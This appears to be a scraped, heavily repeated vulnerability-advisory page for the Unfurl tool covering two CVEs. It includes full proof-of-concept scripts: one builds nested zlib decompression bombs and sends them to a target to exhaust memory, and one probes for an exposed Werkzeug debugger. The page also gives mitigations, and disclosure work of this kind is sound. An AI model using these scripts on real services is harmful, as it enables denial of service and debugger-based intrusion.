def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Nov 04, 2020

20200812 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Aug 12, 2020

20200729 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
